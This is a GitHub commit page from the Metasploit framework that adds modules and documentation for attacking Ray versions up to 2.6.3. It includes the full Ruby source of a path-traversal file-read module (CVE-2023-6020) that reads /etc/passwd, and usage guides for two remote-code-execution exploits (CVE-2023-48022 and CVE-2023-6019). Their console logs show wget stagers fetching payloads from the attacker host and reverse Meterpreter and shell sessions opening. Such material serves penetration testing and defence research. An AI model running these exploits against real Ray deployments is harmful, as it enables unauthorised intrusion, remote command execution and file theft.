Skip to content

Commit ec5892f

Browse files
dledda-r7dledda-r7
committed
2 parents 1a35492 + 39f81e0 commit ec5892f

File tree

6 files changed

+619
-0
lines changed

6 files changed

+619
-0
lines changed

‎documentation/modules/auxiliary/gather/ray_lfi_cve_2023_6020.md

Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
## Vulnerable Application
2+
3+
Ray (<=v2.6.3) is vulnerable to local file inclusion (CVE-2023-6020)
4+
5+
The vulnerability affects:
6+
7+
* Ray (<=v2.6.3)
8+
9+
This module was successfully tested on:
10+
11+
* Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15
12+
13+
### Install and run the vulnerable Ray (v2.6.3)
14+
15+
1. Install your favorite virtualization engine (VirtualBox or VMware) on your preferred platform.
16+
2. Install Kali Linux (or other Linux distro) in your virtualization engine.
17+
3. Pull pre-built Ray docker container (v2.6.3) in your VM.
18+
`docker pull rayproject/ray:2.6.3`
19+
4. Start the ray container.
20+
`docker run --shm-size=512M -it -p 8265:8265 rayproject/ray:2.6.3`
21+
5. Start ray.
22+
`ray start --head --dashboard-host=0.0.0.0`
23+
24+
## Verification Steps
25+
26+
1. Install the application
27+
2. Start msfconsole
28+
3. Do: `use auxiliary/gather/ray_lfi_cve_2023_6020`
29+
4. Do: `set rhost <rhost>`
30+
5. Do: `run`
31+
6. You should get a file content
32+
33+
## Options
34+
35+
### FILEPATH (Required)
36+
37+
This is the file to read. Default is `/etc/passwd`.
38+
39+
## Scenarios
40+
41+
### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15
42+
```
43+
msf6 > use auxiliary/gather/ray_lfi_cve_2023_6020
44+
msf6 auxiliary(gather/ray_lfi_cve_2023_6020) > set rhost 192.168.56.6
45+
rhost => 192.168.56.6
46+
msf6 auxiliary(gather/ray_lfi_cve_2023_6020) > check
47+
[+] 192.168.56.6:8265 - The target is vulnerable.
48+
msf6 auxiliary(gather/ray_lfi_cve_2023_6020) > run
49+
[*] Running module against 192.168.56.6
50+
51+
[*] Running automatic check ("set AutoCheck false" to disable)
52+
[+] The target is vulnerable.
53+
[+] /etc/passwd
54+
root:x:0:0:root:/root:/bin/bash
55+
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
56+
bin:x:2:2:bin:/bin:/usr/sbin/nologin
57+
sys:x:3:3:sys:/dev:/usr/sbin/nologin
58+
sync:x:4:65534:sync:/bin:/bin/sync
59+
games:x:5:60:games:/usr/games:/usr/sbin/nologin
60+
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
61+
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
62+
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
63+
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
64+
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
65+
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
66+
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
67+
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
68+
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
69+
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
70+
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
71+
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
72+
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
73+
ray:x:1000:100::/home/ray:/bin/bash
74+
75+
[*] Auxiliary module execution completed
76+
```

‎documentation/modules/exploit/linux/http/ray_agent_job_rce.md

Lines changed: 103 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,103 @@
1+
## Vulnerable Application
2+
3+
Ray (<=v2.6.3) is vulnerable to RCE via the agent job submission endpoint (CVE-2023-48022)
4+
5+
The vulnerability affects:
6+
7+
* Ray (<=v2.6.3)
8+
9+
This module was successfully tested on:
10+
11+
* Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15
12+
13+
### Install and run the vulnerable Ray (v2.6.3)
14+
15+
1. Install your favorite virtualization engine (VirtualBox or VMware) on your preferred platform.
16+
2. Install Kali Linux (or other Linux distro) in your virtualization engine.
17+
3. Pull pre-built Ray docker container (v2.6.3) in your VM.
18+
`docker pull rayproject/ray:2.6.3`
19+
4. Start the ray container.
20+
`docker run --shm-size=512M -it -p 8265:8265 rayproject/ray:2.6.3`
21+
5. Start ray.
22+
`ray start --head --dashboard-host=0.0.0.0`
23+
24+
## Verification Steps
25+
26+
1. Install the application
27+
2. Start msfconsole
28+
3. Do: `use exploit/linux/http/ray_agent_job_rce`
29+
4. Do: `set rhost <rhost>`
30+
5. Do: `set lhost <attacker-ip>`
31+
6. Do: `run`
32+
7. You should get a shell or meterpreter
33+
34+
## Options
35+
No options
36+
37+
## Scenarios
38+
39+
### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 (target 0)
40+
```
41+
msf6 > use exploit/linux/http/ray_agent_job_rce
42+
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
43+
msf6 exploit(linux/http/ray_agent_job_rce) > set rhost 192.168.56.6
44+
rhost => 192.168.56.6
45+
msf6 exploit(linux/http/ray_agent_job_rce) > set lhost 192.168.56.1
46+
lhost => 192.168.56.1
47+
msf6 exploit(linux/http/ray_agent_job_rce) > check
48+
[*] 192.168.56.6:8265 - The service is running, but could not be validated.
49+
msf6 exploit(linux/http/ray_agent_job_rce) > run
50+
51+
[*] Started reverse TCP handler on 192.168.56.1:4444
52+
[*] Running automatic check ("set AutoCheck false" to disable)
53+
[!] The service is running, but could not be validated.
54+
[+] Command execution successful. Job ID: 'raysubmit_EJDSK2BrhAP8j69n' Submission ID: 'raysubmit_EJDSK2BrhAP8j69n'
55+
[*] Using URL: http://192.168.56.1:8080/kOZWO5HA3wWm2Hh
56+
[*] Command Stager progress - 100.00% done (120/120 bytes)
57+
[*] Client 192.168.56.6 (Wget/1.20.3 (linux-gnu)) requested /kOZWO5HA3wWm2Hh
58+
[*] Sending payload to 192.168.56.6 (Wget/1.20.3 (linux-gnu))
59+
[*] Sending stage (3045380 bytes) to 192.168.56.6
60+
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.6:42052) at 2024-08-10 10:45:48 +0900
61+
[*] Server stopped.
62+
63+
meterpreter > sysinfo
64+
Computer : 172.17.0.2
65+
OS : Ubuntu 20.04 (Linux 6.6.15-amd64)
66+
Architecture : x64
67+
BuildTuple : x86_64-linux-musl
68+
Meterpreter : x64/linux
69+
```
70+
71+
### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 (target 1)
72+
```
73+
msf6 > use exploit/linux/http/ray_agent_job_rce
74+
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
75+
msf6 exploit(linux/http/ray_agent_job_rce) > set rhost 192.168.56.6
76+
rhost => 192.168.56.6
77+
msf6 exploit(linux/http/ray_agent_job_rce) > set lhost 192.168.56.1
78+
lhost => 192.168.56.1
79+
msf6 exploit(linux/http/ray_agent_job_rce) > set target 1
80+
target => 1
81+
msf6 exploit(linux/http/ray_agent_job_rce) > set payload linux/x86/shell/reverse_tcp
82+
payload => linux/x86/shell/reverse_tcp
83+
msf6 exploit(linux/http/ray_agent_job_rce) > check
84+
[*] 192.168.56.6:8265 - The service is running, but could not be validated.
85+
msf6 exploit(linux/http/ray_agent_job_rce) > run
86+
87+
[*] Started reverse TCP handler on 192.168.56.1:4444
88+
[*] Running automatic check ("set AutoCheck false" to disable)
89+
[!] The service is running, but could not be validated.
90+
[+] Command execution successful. Job ID: 'raysubmit_RNpiJJt2feNrUrwN' Submission ID: 'raysubmit_RNpiJJt2feNrUrwN'
91+
[*] Using URL: http://192.168.56.1:8080/QtpKXmqA8kq
92+
[*] Command Stager progress - 100.00% done (116/116 bytes)
93+
[*] Client 192.168.56.6 (Wget/1.20.3 (linux-gnu)) requested /QtpKXmqA8kq
94+
[*] Sending payload to 192.168.56.6 (Wget/1.20.3 (linux-gnu))
95+
[*] Sending stage (36 bytes) to 192.168.56.6
96+
[*] Command shell session 2 opened (192.168.56.1:4444 -> 192.168.56.6:35136) at 2024-08-10 10:47:37 +0900
97+
[*] Server stopped.
98+
99+
whoami
100+
ray
101+
pwd
102+
/home/ray
103+
```

‎documentation/modules/exploit/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019.md

Lines changed: 103 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,103 @@
1+
## Vulnerable Application
2+
3+
Ray (<=v2.6.3) is vulnerable to RCE via cpu_profile command injection vulnerability (CVE-2023-6019)
4+
5+
The vulnerability affects:
6+
7+
* Ray (<=v2.6.3)
8+
9+
This module was successfully tested on:
10+
11+
* Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15
12+
13+
### Install and run the vulnerable Ray (v2.6.3)
14+
15+
1. Install your favorite virtualization engine (VirtualBox or VMware) on your preferred platform.
16+
2. Install Kali Linux (or other Linux distro) in your virtualization engine.
17+
3. Pull pre-built Ray docker container (v2.6.3) in your VM.
18+
`docker pull rayproject/ray:2.6.3`
19+
4. Start the ray container.
20+
`docker run --shm-size=512M -it -p 8265:8265 rayproject/ray:2.6.3`
21+
5. Start ray.
22+
`ray start --head --dashboard-host=0.0.0.0`
23+
24+
## Verification Steps
25+
26+
1. Install the application
27+
2. Start msfconsole
28+
3. Do: `use exploit/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019`
29+
4. Do: `set rhost <rhost>`
30+
5. Do: `set lhost <attacker-ip>`
31+
6. Do: `run`
32+
7. You should get a shell or meterpreter
33+
34+
## Options
35+
No options
36+
37+
## Scenarios
38+
39+
### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 (target 0)
40+
```
41+
msf6 > use exploit/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019
42+
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
43+
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set rhost 192.168.56.6
44+
rhost => 192.168.56.6
45+
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set lhost 192.168.56.1
46+
lhost => 192.168.56.1
47+
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > check
48+
[*] 192.168.56.6:8265 - The service is running, but could not be validated.
49+
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > run
50+
51+
[*] Started reverse TCP handler on 192.168.56.1:4444
52+
[*] Running automatic check ("set AutoCheck false" to disable)
53+
[!] The service is running, but could not be validated.
54+
[+] Grabbed node info, pid: 129, ip: 172.17.0.2
55+
[*] Using URL: http://192.168.56.1:8080/2W4ZJ30NqjnfoGE
56+
[*] Client 192.168.56.6 (Wget/1.20.3 (linux-gnu)) requested /2W4ZJ30NqjnfoGE
57+
[*] Sending payload to 192.168.56.6 (Wget/1.20.3 (linux-gnu))
58+
[*] Sending stage (3045380 bytes) to 192.168.56.6
59+
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.6:59072) at 2024-08-10 10:29:05 +0900
60+
[*] Command Stager progress - 100.00% done (120/120 bytes)
61+
[*] Server stopped.
62+
63+
meterpreter > sysinfo
64+
Computer : 172.17.0.2
65+
OS : Ubuntu 20.04 (Linux 6.6.15-amd64)
66+
Architecture : x64
67+
BuildTuple : x86_64-linux-musl
68+
Meterpreter : x64/linux
69+
```
70+
71+
### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 (target 1)
72+
```
73+
msf6 > use exploit/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019
74+
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
75+
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set rhost 192.168.56.6
76+
rhost => 192.168.56.6
77+
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set lhost 192.168.56.1
78+
lhost => 192.168.56.1
79+
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set target 1
80+
target => 1
81+
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set payload linux/x86/shell/reverse_tcp
82+
payload => linux/x86/shell/reverse_tcp
83+
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > check
84+
[*] 192.168.56.6:8265 - The service is running, but could not be validated.
85+
msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > run
86+
87+
[*] Started reverse TCP handler on 192.168.56.1:4444
88+
[*] Running automatic check ("set AutoCheck false" to disable)
89+
[!] The service is running, but could not be validated.
90+
[+] Grabbed node info, pid: 129, ip: 172.17.0.2
91+
[*] Using URL: http://192.168.56.1:8080/Mz2SC2mlSp
92+
[*] Client 192.168.56.6 (Wget/1.20.3 (linux-gnu)) requested /Mz2SC2mlSp
93+
[*] Sending payload to 192.168.56.6 (Wget/1.20.3 (linux-gnu))
94+
[*] Sending stage (36 bytes) to 192.168.56.6
95+
[*] Command shell session 2 opened (192.168.56.1:4444 -> 192.168.56.6:59210) at 2024-08-10 10:30:49 +0900
96+
[*] Command Stager progress - 100.00% done (115/115 bytes)
97+
[*] Server stopped.
98+
99+
whoami
100+
ray
101+
pwd
102+
/home/ray
103+
```

‎modules/auxiliary/gather/ray_lfi_cve_2023_6020.rb

Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpClient
8+
include Msf::Auxiliary::Report
9+
prepend Msf::Exploit::Remote::AutoCheck
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'Ray static arbitrary file read',
16+
'Description' => %q{
17+
Ray before 2.8.1 is vulnerable to a local file inclusion.
18+
},
19+
'Author' => [
20+
'byt3bl33d3r <[email protected]>', # Python Metasploit module
21+
'danmcinerney <[email protected]>', # Python Metasploit module
22+
'Takahiro Yokoyama' # Metasploit module
23+
],
24+
'License' => MSF_LICENSE,
25+
'References' => [
26+
['CVE', '2023-6020'],
27+
['URL', 'https://huntr.com/bounties/83dd8619-6dc3-4c98-8f1b-e620fedcd1f6/'],
28+
['URL', 'https://github.com/protectai/ai-exploits/tree/main/ray']
29+
],
30+
'DisclosureDate' => '2023-11-15',
31+
'Notes' => {
32+
'Stability' => [ CRASH_SAFE, ],
33+
'SideEffects' => [ IOC_IN_LOGS, ],
34+
'Reliability' => []
35+
}
36+
)
37+
)
38+
39+
register_options(
40+
[
41+
Opt::RPORT(8265),
42+
OptString.new('FILEPATH', [ true, 'File to read', '/etc/passwd'])
43+
]
44+
)
45+
end
46+
47+
def check
48+
res = send_request_cgi({
49+
'method' => 'GET',
50+
'uri' => normalize_uri(target_uri.path, 'api/version')
51+
})
52+
return Exploit::CheckCode::Unknown unless res && res.code == 200
53+
54+
ray_version = res.get_json_document['ray_version']
55+
56+
return Exploit::CheckCode::Unknown unless ray_version
57+
58+
return Exploit::CheckCode::Safe unless Rex::Version.new(ray_version) <= Rex::Version.new('2.6.3')
59+
60+
file_content = lfi('/etc/passwd')
61+
return Exploit::CheckCode::Vulnerable unless file_content.nil?
62+
63+
Exploit::CheckCode::Appears
64+
end
65+
66+
def lfi(filepath)
67+
res = send_request_cgi({
68+
'method' => 'GET',
69+
'uri' => normalize_uri(target_uri.path, "static/js/../../../../../../../../../../../../../..#{filepath}")
70+
})
71+
return unless res && res.code == 200
72+
73+
res.body
74+
end
75+
76+
def run
77+
file_content = lfi(datastore['FILEPATH'])
78+
fail_with(Failure::Unknown, 'Failed to execute LFI') unless file_content
79+
print_good("#{datastore['FILEPATH']}\n#{file_content}")
80+
end
81+
82+
end

0 commit comments

Comments
 (0)